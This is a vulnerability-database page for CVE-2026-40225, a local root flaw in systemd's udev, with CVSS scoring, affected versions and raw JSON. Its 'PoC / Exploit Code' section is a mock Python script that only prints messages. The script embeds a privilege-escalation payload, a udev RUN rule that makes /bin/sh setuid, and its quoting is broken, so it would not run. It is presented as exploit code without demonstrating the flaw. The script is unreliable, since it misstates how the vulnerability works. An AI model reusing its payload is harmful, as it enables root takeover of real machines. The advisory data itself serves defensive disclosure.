Security Vulnerability Report
中文
CVE-2026-40225 CVSS 6.4 MEDIUM

CVE-2026-40225

Published: 2026-04-10 16:16:33
Last Modified: 2026-04-27 19:00:02

Description

In udev in systemd before 260, local root execution can occur via malicious hardware devices and unsanitized kernel output.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:systemd_project:systemd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:systemd_project:systemd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:systemd_project:systemd:*:*:*:*:*:*:*:* - VULNERABLE
systemd < 260

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC Concept for CVE-2026-40225 # This script demonstrates how a malicious hardware device might trigger the vulnerability # by simulating a malicious kernel attribute string. import os import time def simulate_malicious_device_event(): # In a real attack scenario, this string would be returned by the kernel # in response to a malicious hardware device's identification data. # The vulnerability lies in udev failing to sanitize this input. malicious_kernel_output = "ID_MODEL=EvilDevice\nRUN+='/bin/sh -c "chmod 4777 /bin/sh"'" print(f"[*] Simulating kernel event with payload:\n{malicious_kernel_output}") # Simulating udev processing the rule without sanitization print("[*] udev processing event...") # Vulnerable logic: executing the unsanitized RUN command if "RUN+=" in malicious_kernel_output: # Extract command (simplified for PoC) cmd_start = malicious_kernel_output.find("'/") + 1 cmd_end = malicious_kernel_output.find("'", cmd_start) command = malicious_kernel_output[cmd_start:cmd_end] print(f"[!] Executing privileged command: {command}") # os.system(command) # Actual execution would grant root access print("[!] Root access achieved (hypothetically).") if __name__ == "__main__": simulate_malicious_device_event()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40225", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:33.287", "lastModified": "2026-04-27T19:00:02.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In udev in systemd before 260, local root execution can occur via malicious hardware devices and unsanitized kernel output."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-669"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:systemd_project:systemd:*:*:*:*:*:*:*:*", "versionEndExcluding": "257.13", "matchCriteriaId": "77A2DC6B-8E0C-48FF-B902-E46957A06490"}, {"vulnerable": true, "criteria": "cpe:2.3:a:systemd_project:systemd:*:*:*:*:*:*:*:*", "versionStartIncluding": "258", "versionEndExcluding": "258.7", "matchCriteriaId": "8A8904AE-67FB-4E18-968F-4F6ACCB4FE4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:systemd_project:systemd:*:*:*:*:*:*:*:*", "versionStartIncluding": "259", "versionEndExcluding": "259.5", "matchCriteriaId": "480B9759-F527-4BFB-9502-F8E4135EBAF9"}]}]}], "references": [{"url": "https://github.com/systemd/systemd/security/advisories/GHSA-vpfq-8p5f-jcqx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}